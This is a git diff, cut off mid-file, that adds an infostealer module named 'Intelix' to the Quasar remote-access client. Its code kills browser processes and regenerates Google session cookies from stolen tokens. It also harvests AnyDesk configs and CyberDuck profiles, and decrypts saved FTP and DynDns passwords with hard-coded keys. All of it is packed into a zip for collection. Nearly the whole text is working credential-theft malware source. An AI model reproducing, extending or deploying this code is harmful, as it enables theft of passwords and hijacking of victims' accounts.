"msedge_proxy.exe", "chromodo.exe", "atom.exe", "bravebrowser.exe", "steam.exe", "cryptotab.exe", "ghostbrowser.exe", "maelstrom.exe", "kinza.exe", + "globus.exe", "falkon.exe", "elementbrowser.exe", "colibri.exe", "whale.exe", "avastbrowser.exe", "ucbrowser.exe", "maxthon.exe", "blisk.exe", "aolshield.exe", + "baidubrowser.exe", "ccleanerbrowser.exe", "hola.exe", "xvast.exe", "kingpin.exe", "qqbrowser.exe", "private_browsing.exe", "chrome_pwa_launcher.exe", "chrome_proxy.exe" + }; + + private const uint PROCESS_QUERY_LIMITED_INFORMATION = 4096u; + + private const uint PROCESS_TERMINATE = 1u; + + public static void KillerAll() + { + string[] targets = Targets; + if (targets == null || targets.Length == 0) + { + return; + } + HashSet wanted = new HashSet(StringComparer.OrdinalIgnoreCase); + string[] array = targets; + foreach (string text in array) + { + if (string.IsNullOrWhiteSpace(text)) + { + continue; + } + string text2 = text.Trim().Replace("\"", string.Empty); + try + { + text2 = Path.GetFileName(text2); + } + catch + { + } + if (!string.IsNullOrEmpty(text2)) + { + wanted.Add(text2); + if (!text2.EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) + { + wanted.Add(text2 + ".exe"); + } + string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(text2); + if (!string.IsNullOrEmpty(fileNameWithoutExtension)) + { + wanted.Add(fileNameWithoutExtension); + } + } + } + if (wanted.Count == 0) + { + return; + } + List procInfos = ProcessWindows.GetProcInfos(); + if (procInfos == null || procInfos.Count == 0) + { + return; + } + Parallel.ForEach(procInfos, delegate(ProcessWindows.ProcInfo proc) + { + if (proc == null) + { + return; + } + try + { + string text3 = null; + if (!string.IsNullOrEmpty(proc.Path)) + { + try + { + text3 = Path.GetFileName(proc.Path); + } + catch + { + text3 = proc.Path; + } + } + if (string.IsNullOrEmpty(text3)) + { + text3 = proc.Name ?? string.Empty; + } + string item; + try + { + item = Path.GetFileNameWithoutExtension(text3); + } + catch + { + item = text3; + } + if ((!wanted.Contains(text3) && !wanted.Contains(item)) || !int.TryParse(proc.Pid, out var result) || result == 0 || result == 4) + { + return; + } + IntPtr intPtr = IntPtr.Zero; + try + { + intPtr = NativeMethods.OpenProcess(4097u, bInheritHandle: false, (uint)result); + if (intPtr == IntPtr.Zero) + { + intPtr = NativeMethods.OpenProcess(4096u, bInheritHandle: false, (uint)result); + if (!(intPtr != IntPtr.Zero)) + { + return; + } + NativeMethods.CloseHandle(intPtr); + intPtr = NativeMethods.OpenProcess(1u, bInheritHandle: false, (uint)result); + if (intPtr == IntPtr.Zero) + { + return; + } + } + try + { + NativeMethods.TerminateProcess(intPtr, 1u); + } + catch + { + } + } + finally + { + try + { + if (intPtr != IntPtr.Zero) + { + NativeMethods.CloseHandle(intPtr); + } + } + catch + { + } + } + } + catch + { + } + }); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ProcessWindows.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ProcessWindows.cs new file mode 100755 index 0000000..3d091be --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/ProcessWindows.cs @@ -0,0 +1,250 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading; +using System.Threading.Tasks; + +namespace Intelix.Helper; + +public static class ProcessWindows +{ + public class ProcInfo + { + public string Name { get; set; } + + public string Pid { get; set; } + + public string Path { get; set; } + + public string Memory { get; set; } + } + + private static readonly Lazy> _procInfos = new Lazy>(BuildCache, isThreadSafe: true); + + public static List GetProcInfos() + { + return new List(_procInfos.Value); + } + + public static List FindFolder(string folderName) + { + if (string.IsNullOrWhiteSpace(folderName)) + { + return new List(); + } + ConcurrentDictionary concurrentDictionary = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + SearchNearby(folderName, isDirectory: true, concurrentDictionary); + return new List(concurrentDictionary.Keys); + } + + public static List FindFile(string fileName) + { + if (string.IsNullOrWhiteSpace(fileName)) + { + return new List(); + } + ConcurrentDictionary concurrentDictionary = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + SearchNearby(fileName, isDirectory: false, concurrentDictionary); + return new List(concurrentDictionary.Keys); + } + + private static void SearchNearby(string target, bool isDirectory, ConcurrentDictionary found, int maxUp = 3) + { + if (string.IsNullOrEmpty(target)) + { + return; + } + List value = _procInfos.Value; + if (value == null || value.Count == 0) + { + return; + } + string t = target.Trim(); + Parallel.ForEach(value, delegate(ProcInfo proc) + { + try + { + string path = proc.Path; + if (!string.IsNullOrEmpty(path)) + { + string directoryName = Path.GetDirectoryName(path); + if (!string.IsNullOrEmpty(directoryName)) + { + for (int i = 0; i < maxUp; i++) + { + if (string.IsNullOrEmpty(directoryName)) + { + break; + } + string path2 = Path.Combine(directoryName, t); + if (isDirectory) + { + if (Directory.Exists(path2)) + { + try + { + found.TryAdd(Path.GetFullPath(path2), 0); + } + catch + { + } + } + } + else if (File.Exists(path2)) + { + try + { + found.TryAdd(Path.GetFullPath(path2), 0); + } + catch + { + } + } + directoryName = Path.GetDirectoryName(directoryName); + } + } + } + } + catch + { + } + }); + } + + private static List BuildCache() + { + ConcurrentDictionary result = new ConcurrentDictionary(StringComparer.OrdinalIgnoreCase); + uint num = 4096u; + uint[] pids = new uint[num]; + if (!NativeMethods.EnumProcesses(pids, num * 4, out var lpcbNeeded)) + { + num = 65536u; + pids = new uint[num]; + if (!NativeMethods.EnumProcesses(pids, num * 4, out lpcbNeeded)) + { + return new List(); + } + } + int num2 = (int)(lpcbNeeded / 4); + if (num2 <= 0) + { + return new List(); + } + ThreadLocal sbLocal = new ThreadLocal(() => new StringBuilder(1024)); + Parallel.For(0, num2, delegate(int i) + { + uint num3 = pids[i]; + if (num3 == 0 || num3 == 4) + { + return; + } + IntPtr intPtr = IntPtr.Zero; + try + { + intPtr = NativeMethods.OpenProcess(5136u, bInheritHandle: false, (int)num3); + if (!(intPtr == IntPtr.Zero)) + { + string text = null; + try + { + StringBuilder value = sbLocal.Value; + value.Clear(); + uint lpdwSize = (uint)value.Capacity; + if (NativeMethods.QueryFullProcessImageName(intPtr, 0, value, ref lpdwSize)) + { + text = value.ToString(0, (int)lpdwSize); + } + } + catch + { + } + string text2 = null; + if (!string.IsNullOrEmpty(text)) + { + try + { + text2 = Path.GetFileNameWithoutExtension(text); + } + catch + { + text2 = text; + } + } + else + { + text2 = ""; + } + string text3 = ""; + try + { + NativeMethods.PROCESS_MEMORY_COUNTERS_EX ppsmemCounters = default(NativeMethods.PROCESS_MEMORY_COUNTERS_EX); + ppsmemCounters.cb = (uint)Marshal.SizeOf(typeof(NativeMethods.PROCESS_MEMORY_COUNTERS_EX)); + if (NativeMethods.GetProcessMemoryInfo(intPtr, out ppsmemCounters, ppsmemCounters.cb)) + { + text3 = FormatBytes((long)ppsmemCounters.WorkingSetSize.ToUInt64()); + } + } + catch + { + } + ProcInfo procInfo = new ProcInfo + { + Name = SafeString(text2), + Pid = num3.ToString(), + Path = SafeString(text), + Memory = (text3 ?? "") + }; + string key = procInfo.Path + "|" + procInfo.Pid; + result.TryAdd(key, procInfo); + } + } + catch + { + } + finally + { + try + { + if (intPtr != IntPtr.Zero) + { + NativeMethods.CloseHandle(intPtr); + } + } + catch + { + } + } + }); + sbLocal.Dispose(); + return new List(result.Values); + } + + private static string SafeString(string s) + { + if (!string.IsNullOrEmpty(s)) + { + return s; + } + return ""; + } + + private static string FormatBytes(long bytes) + { + if (bytes >= 1073741824) + { + return ((double)bytes / 1073741824.0).ToString("0.##") + " GB"; + } + if (bytes >= 1048576) + { + return ((double)bytes / 1048576.0).ToString("0.##") + " MB"; + } + if (bytes >= 1024) + { + return ((double)bytes / 1024.0).ToString("0.##") + " KB"; + } + return bytes + " B"; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RandomStrings.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RandomStrings.cs new file mode 100755 index 0000000..ccec83e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RandomStrings.cs @@ -0,0 +1,29 @@ +using System; +using System.Linq; + +namespace Intelix.Helper; + +public static class RandomStrings +{ + private const string Ascii = "abcdefghijklmnopqrstuvwxyz"; + + private static readonly Random Random = new Random(); + + public static string GenerateHashTag() + { + return " #" + GenerateString(); + } + + public static string GenerateString() + { + return GenerateString(5); + } + + public static string GenerateString(int length) + { + char c = "abcdefghijklmnopqrstuvwxyz"[Random.Next("abcdefghijklmnopqrstuvwxyz".Length)]; + char[] value = (from s in Enumerable.Repeat("abcdefghijklmnopqrstuvwxyz", length - 1) + select s[Random.Next(s.Length)]).ToArray(); + return c + new string(value); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RegistryParser.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RegistryParser.cs new file mode 100755 index 0000000..0838ba9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RegistryParser.cs @@ -0,0 +1,45 @@ +using System; +using System.Collections.Generic; +using Microsoft.Win32; + +namespace Intelix.Helper; + +public static class RegistryParser +{ + public static List ParseKey(RegistryKey key) + { + List list = new List(); + if (key == null) + { + return list; + } + string[] valueNames = key.GetValueNames(); + foreach (string text in valueNames) + { + object value = key.GetValue(text); + string text2; + switch (key.GetValueKind(text)) + { + case RegistryValueKind.Binary: + text2 = ((!(value is byte[] array)) ? "null" : BitConverter.ToString(array).Replace("-", "")); + break; + case RegistryValueKind.DWord: + case RegistryValueKind.QWord: + text2 = value.ToString(); + break; + case RegistryValueKind.String: + case RegistryValueKind.ExpandString: + text2 = value?.ToString() ?? "null"; + break; + case RegistryValueKind.MultiString: + text2 = ((!(value is string[] value2)) ? "null" : string.Join(", ", value2)); + break; + default: + text2 = value?.ToString() ?? "null"; + break; + } + list.Add(text + ": " + text2); + } + return list; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RestoreCookies.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RestoreCookies.cs new file mode 100755 index 0000000..8cf73e6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/RestoreCookies.cs @@ -0,0 +1,180 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Net; +using System.Text; +using System.Text.RegularExpressions; + +namespace Intelix.Helper; + +public static class RestoreCookies +{ + public class Account + { + public string type { get; set; } + + public string display_name { get; set; } + + public string display_email { get; set; } + + public string photo_url { get; set; } + + public bool selected { get; set; } + + public bool default_user { get; set; } + + public int authuser { get; set; } + + public bool valid_session { get; set; } + + public string obfuscated_id { get; set; } + + public bool is_verified { get; set; } + } + + public class Cookie + { + public string name { get; set; } + + public string value { get; set; } + + public string domain { get; set; } + + public string path { get; set; } + + public bool isSecure { get; set; } + + public bool isHttpOnly { get; set; } + + public int maxAge { get; set; } + + public string priority { get; set; } + + public string sameParty { get; set; } + + public string sameSite { get; set; } + + public string host { get; set; } + } + + public class Root + { + public string status { get; set; } + + public List cookies { get; set; } + + public List accounts { get; set; } + } + + private static string SendPostRequest(string token) + { + try + { + HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create("https://accounts.google.com/oauth/multilogin?source=com.google.Drive"); + httpWebRequest.Method = "POST"; + httpWebRequest.ContentType = "application/x-www-form-urlencoded"; + httpWebRequest.Headers.Add("Authorization", "MultiBearer " + token); + httpWebRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) com.google.Drive/6.0.230903 iSL/3.4 (gzip)\r\n"; + string s = ""; + byte[] bytes = Encoding.UTF8.GetBytes(s); + using (Stream stream = httpWebRequest.GetRequestStream()) + { + stream.Write(bytes, 0, bytes.Length); + } + using HttpWebResponse httpWebResponse = (HttpWebResponse)httpWebRequest.GetResponse(); + if (httpWebResponse.StatusCode == HttpStatusCode.OK) + { + using (StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream())) + { + return streamReader.ReadToEnd(); + } + } + } + catch (Exception) + { + } + return string.Empty; + } + + public static string CRestore(string restore) + { + try + { + string text = SendPostRequest(restore); + if (string.IsNullOrEmpty(text)) + { + return string.Empty; + } + text = text.Remove(0, 5); + Root obj = new Root + { + status = Regex.Match(text, "\"status\":\"(.*?)\"").Groups[1].Value, + cookies = ExtractCookies(text), + accounts = ExtractAccounts(text) + }; + StringBuilder stringBuilder = new StringBuilder(); + foreach (Cookie cookie in obj.cookies) + { + string text2 = (string.IsNullOrEmpty(cookie.host) ? cookie.domain : cookie.host); + text2 = (string.IsNullOrEmpty(text2) ? ".google.com" : text2); + stringBuilder.AppendLine(text2 + "\tTRUE\t" + cookie.path + "\tFALSE\t" + cookie.maxAge + "\t" + cookie.name + "\t" + cookie.value); + } + return stringBuilder.ToString(); + } + catch + { + } + return string.Empty; + } + + private static List ExtractCookies(string json) + { + List list = new List(); + foreach (Match item2 in Regex.Matches(json, "{(.*?)}")) + { + string value = item2.Value; + int result; + Cookie item = new Cookie + { + name = Regex.Match(value, "\"name\":\"(.*?)\"").Groups[1].Value, + value = Regex.Match(value, "\"value\":\"(.*?)\"").Groups[1].Value, + domain = Regex.Match(value, "\"domain\":\"(.*?)\"").Groups[1].Value, + path = Regex.Match(value, "\"path\":\"(.*?)\"").Groups[1].Value, + isSecure = Regex.IsMatch(value, "\"isSecure\":true"), + isHttpOnly = Regex.IsMatch(value, "\"isHttpOnly\":true"), + maxAge = (int.TryParse(Regex.Match(value, "\"maxAge\":(\\d+)").Groups[1].Value, out result) ? result : 0), + priority = Regex.Match(value, "\"priority\":\"(.*?)\"").Groups[1].Value, + sameParty = Regex.Match(value, "\"sameParty\":\"(.*?)\"").Groups[1].Value, + sameSite = Regex.Match(value, "\"sameSite\":\"(.*?)\"").Groups[1].Value, + host = Regex.Match(value, "\"host\":\"(.*?)\"").Groups[1].Value + }; + list.Add(item); + } + return list; + } + + private static List ExtractAccounts(string json) + { + List list = new List(); + foreach (Match item2 in Regex.Matches(json, "{(.*?)}")) + { + string value = item2.Value; + int result; + Account item = new Account + { + type = Regex.Match(value, "\"type\":\"(.*?)\"").Groups[1].Value, + display_name = Regex.Match(value, "\"display_name\":\"(.*?)\"").Groups[1].Value, + display_email = Regex.Match(value, "\"display_email\":\"(.*?)\"").Groups[1].Value, + photo_url = Regex.Match(value, "\"photo_url\":\"(.*?)\"").Groups[1].Value, + selected = Regex.IsMatch(value, "\"selected\":true"), + default_user = Regex.IsMatch(value, "\"default_user\":true"), + authuser = (int.TryParse(Regex.Match(value, "\"authuser\":(\\d+)").Groups[1].Value, out result) ? result : 0), + valid_session = Regex.IsMatch(value, "\"valid_session\":true"), + obfuscated_id = Regex.Match(value, "\"obfuscated_id\":\"(.*?)\"").Groups[1].Value, + is_verified = Regex.IsMatch(value, "\"is_verified\":true") + }; + list.Add(item); + } + return list; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/WindowsInfo.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/WindowsInfo.cs new file mode 100755 index 0000000..042dfcd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Helper/WindowsInfo.cs @@ -0,0 +1,88 @@ +using System; +using Microsoft.Win32; + +namespace Intelix.Helper; + +public static class WindowsInfo +{ + public static string GetProductName() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"); + if (registryKey == null) + { + return "Unknown"; + } + string obj = (registryKey.GetValue("ProductName") as string) ?? "Unknown"; + string text = (registryKey.GetValue("ReleaseId") as string) ?? (registryKey.GetValue("DisplayVersion") as string) ?? ""; + return (obj + " " + text).Trim(); + } + catch + { + return "Unknown"; + } + } + + public static string GetBuildNumber() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"); + if (registryKey == null) + { + return "Unknown"; + } + return registryKey.GetValue("CurrentBuild")?.ToString() ?? registryKey.GetValue("CurrentBuildNumber")?.ToString() ?? "Unknown"; + } + catch + { + return "Unknown"; + } + } + + public static string GetArchitecture() + { + try + { + return Environment.Is64BitOperatingSystem ? "x64" : "x86"; + } + catch + { + return "Unknown"; + } + } + + public static string GetVersion() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"); + if (registryKey == null) + { + return "Unknown"; + } + object value = registryKey.GetValue("CurrentMajorVersionNumber"); + object value2 = registryKey.GetValue("CurrentMinorVersionNumber"); + if (value != null && value2 != null) + { + return $"{value}.{value2}"; + } + string text = registryKey.GetValue("CurrentVersion") as string; + if (!string.IsNullOrEmpty(text)) + { + return text; + } + return "Unknown"; + } + catch + { + return "Unknown"; + } + } + + public static string GetFullInfo() + { + return "OS Product: " + GetProductName() + "\nOS Build: " + GetBuildNumber() + "\nOS Arch: " + GetArchitecture(); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/AnyDesk.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/AnyDesk.cs new file mode 100755 index 0000000..af80bf7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/AnyDesk.cs @@ -0,0 +1,21 @@ +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class AnyDesk : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\ProgramData\\AnyDesk\\service.conf"; + if (File.Exists(text)) + { + string text2 = "AnyDesk\\service.conf"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "AnyDesk"; + counterApplications.Files.Add(text + " => " + text2); + counter.Applications.Add(counterApplications); + zip.AddFile(text2, File.ReadAllBytes(text)); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/CoreFtp.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/CoreFtp.cs new file mode 100755 index 0000000..eedb8c6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/CoreFtp.cs @@ -0,0 +1,87 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Applications; + +public class CoreFtp : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "CoreFTP"; + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\FTPWare\\COREFTP\\Sites"); + if (registryKey == null) + { + return; + } + List list = new List(); + foreach (string item in from n in registryKey.GetSubKeyNames() + orderby n + select n) + { + try + { + using RegistryKey registryKey2 = registryKey.OpenSubKey(item); + if (registryKey2 != null) + { + object value = registryKey2.GetValue("Host"); + object value2 = registryKey2.GetValue("User"); + object value3 = registryKey2.GetValue("PW"); + if (value != null) + { + string text = (value as string) ?? value.ToString(); + string text2 = (value2 as string) ?? value2?.ToString() ?? ""; + string text3 = DecryptCoreFtpPassword((value3 as string) ?? value3?.ToString() ?? ""); + list.Add("Url: " + text + ":21\nUsername: " + text2 + "\nPassword: " + text3 + "\n"); + counterApplications.Files.Add(registryKey2.Name ?? ""); + } + } + } + catch + { + } + } + if (list.Count > 0) + { + zip.AddFile("FTP/CoreFTP/Hosts.txt", Encoding.UTF8.GetBytes(string.Join("\n", list))); + counter.Applications.Add(counterApplications); + } + } + + private static string DecryptCoreFtpPassword(string hexCipher) + { + byte[] bytes = Encoding.ASCII.GetBytes("hdfzpysvpzimorhk"); + byte[] iV = new byte[16]; + byte[] array = HexToBytes(hexCipher); + using Aes aes = Aes.Create(); + aes.KeySize = 128; + aes.BlockSize = 128; + aes.Key = bytes; + aes.IV = iV; + aes.Mode = CipherMode.ECB; + aes.Padding = PaddingMode.Zeros; + using MemoryStream memoryStream = new MemoryStream(); + using ICryptoTransform transform = aes.CreateDecryptor(); + using CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write); + cryptoStream.Write(array, 0, array.Length); + cryptoStream.FlushFinalBlock(); + return Encoding.UTF8.GetString(memoryStream.ToArray()); + } + + private static byte[] HexToBytes(string hex) + { + int num = hex.Length / 2; + byte[] array = new byte[num]; + for (int i = 0; i < num; i++) + { + array[i] = Convert.ToByte(hex.Substring(i * 2, 2), 16); + } + return array; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/CyberDuck.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/CyberDuck.cs new file mode 100755 index 0000000..9922101 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/CyberDuck.cs @@ -0,0 +1,30 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class CyberDuck : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Cyberduck", "Profiles"); + if (!Directory.Exists(path)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "CyberDuck"; + string[] files = Directory.GetFiles(path); + foreach (string text in files) + { + if (text.EndsWith(".cyberduckprofile")) + { + string text2 = "FTP/CyberDuck/" + Path.GetFileName(text); + zip.AddFile(text2, File.ReadAllBytes(text)); + counterApplications.Files.Add(text + " => " + text2); + } + } + counter.Applications.Add(counterApplications); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/DynDns.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/DynDns.cs new file mode 100755 index 0000000..cb16c98 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/DynDns.cs @@ -0,0 +1,51 @@ +using System; +using System.Globalization; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class DynDns : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\ProgramData\\Dyn\\Updater\\config.dyndns"; + if (File.Exists(text)) + { + string[] array = File.ReadAllLines(text); + if (array.Length != 0) + { + string text2 = "Dyn\\Passwords.txt"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Dyn"; + counterApplications.Files.Add(text + " => " + text2); + counter.Applications.Add(counterApplications); + zip.AddTextFile(text2, "UserName: " + array[1].Substring(9) + "\r\nPassword: " + DecryptDynDns(array[2].Substring(9))); + } + } + } + + private string DecryptDynDns(string encrypted) + { + string text = string.Empty; + for (int i = 0; i < encrypted.Length; i += 2) + { + text += (char)int.Parse(encrypted.Substring(i, 2), NumberStyles.HexNumber); + } + char[] array = text.ToCharArray(); + char[] array2 = new char[text.Length]; + for (int j = 0; j < array2.Length; j++) + { + try + { + int num = 0; + array2[j] = (char)(array[j] ^ Convert.ToChar("t6KzXhCh".Substring(num, 1))); + num = (num + 1) % 8; + } + catch (Exception) + { + } + } + return new string(array2); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPCommander.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPCommander.cs new file mode 100755 index 0000000..6a00a5b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPCommander.cs @@ -0,0 +1,66 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Applications; + +public class FTPCommander : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string[] obj = new string[5] + { + "C:\\Program Files (x86)\\FTP Commander Deluxe\\Ftplist.txt", + "C:\\Program Files (x86)\\FTP Commander\\Ftplist.txt", + "C:\\cftp\\Ftplist.txt", + "C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\VirtualStore\\Program Files (x86)\\FTP Commander\\Ftplist.txt", + "C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\VirtualStore\\Program Files (x86)\\FTP Commander Deluxe\\Ftplist.txt" + }; + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "FTPCommander" + }; + List list = new List(); + string[] array = obj; + foreach (string text in array) + { + if (!File.Exists(text)) + { + continue; + } + string[] array2 = File.ReadAllLines(text); + foreach (string text2 in array2) + { + if (string.IsNullOrWhiteSpace(text2)) + { + continue; + } + string[] array3 = text2.Split(';'); + if (array3.Length >= 6) + { + string text3 = array3[1].Split('=')[1]; + string text4 = array3[2].Split('=')[1]; + string input = array3[3].Split('=')[1]; + string text5 = array3[4].Split('=')[1]; + if (!(array3[5].Split('=')[1] != "0")) + { + string text6 = Xor.DecryptString(input, 25); + list.Add("Url: " + text3 + ":" + (string.IsNullOrEmpty(text4) ? "21" : text4) + "\nUsername: " + text5 + "\nPassword: " + text6 + "\n"); + string text7 = "FTP/FTPCommander/Hosts.txt"; + counterApplications.Files.Add(text + " => " + text7); + } + } + } + } + if (list.Count > 0) + { + string text8 = "FTP/FTPCommander/Hosts.txt"; + zip.AddFile(text8, Encoding.UTF8.GetBytes(string.Join("\n", list))); + counterApplications.Files.Add(text8 ?? ""); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPGetter.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPGetter.cs new file mode 100755 index 0000000..871671b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPGetter.cs @@ -0,0 +1,54 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Applications; + +public class FTPGetter : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\Users\\" + Environment.UserName + "\\AppData\\Roaming\\FTPGetter\\servers.xml"; + if (!File.Exists(text)) + { + return; + } + string input = File.ReadAllText(text, Encoding.UTF8); + Regex regex = new Regex("]*>(.*?)", RegexOptions.IgnoreCase | RegexOptions.Singleline); + Regex regex2 = new Regex("\\s*(?.*?)\\s*", RegexOptions.IgnoreCase | RegexOptions.Singleline); + Regex regex3 = new Regex("\\s*(?\\d+)\\s*", RegexOptions.IgnoreCase | RegexOptions.Singleline); + Regex regex4 = new Regex("\\s*(?.*?)\\s*", RegexOptions.IgnoreCase | RegexOptions.Singleline); + Regex regex5 = new Regex("\\s*(?.*?)\\s*", RegexOptions.IgnoreCase | RegexOptions.Singleline); + List list = new List(); + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "FTPGetter" + }; + foreach (Match item in regex.Matches(input)) + { + string value = item.Groups[1].Value; + Match match = regex2.Match(value); + if (match.Success) + { + string text2 = match.Groups["v"].Value.Trim(); + Match match2 = regex3.Match(value); + string text3 = (match2.Success ? match2.Groups["v"].Value.Trim() : "21"); + Match match3 = regex4.Match(value); + string text4 = (match3.Success ? match3.Groups["v"].Value.Trim() : ""); + Match match4 = regex5.Match(value); + string text5 = (match4.Success ? match4.Groups["v"].Value.Trim() : ""); + list.Add("Url: " + text2 + ":" + (string.IsNullOrEmpty(text3) ? "21" : text3) + "\nUsername: " + text4 + "\nPassword: " + text5 + "\n"); + counterApplications.Files.Add(text + " => FTP/FTPGetter/Hosts.txt"); + } + } + if (list.Count > 0) + { + zip.AddFile("FTP/FTPGetter/Hosts.txt", Encoding.UTF8.GetBytes(string.Join("\n", list))); + counterApplications.Files.Add("FTP/FTPGetter/Hosts.txt"); + counter.Applications.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPNavigator.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPNavigator.cs new file mode 100755 index 0000000..3f53c84 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Applications/FTPNavigator.cs @@ -0,0 +1,50 @@ +using System.Collections.Generic; +using System.IO; +using System.Text; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Applications; + +public class FTPNavigator : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\FTP Navigator\\Ftplist.txt"; + if (!File.Exists(text)) + { + return; + } + string[] array = File.ReadAllLines(text); + List list = new List(); + Counter.CounterApplications counterApplications = new Counter.CounterApplications + { + Name = "FTP Navigator" + }; + string[] array2 = array; + foreach (string text2 in array2) + { + if (!string.IsNullOrWhiteSpace(text2)) + { + string[] array3 = text2.Split(';'); + string text3 = array3[1].Split('=')[1]; + string text4 = array3[2].Split('=')[1]; + string input = array3[3].Split('=')[1]; + string text5 = array3[4].Split('=')[1]; + if (!(array3[5].Split('=')[1] != "0")) + { + string text6 = Xor.DecryptString(input, 25); + list.Add("Url: " + text3 + ":" + (string.IsNullOrEmpty(text4) ? "21" : text4) + "\nUsername: " + text5 + "\nPassword: " + text6 + "\n"); + counterApplications.Files.Add(text + " => FTP/FTPNavigator/Hosts.txt"); + } + } + } + if (list.Count > 0) + { + string text7 = 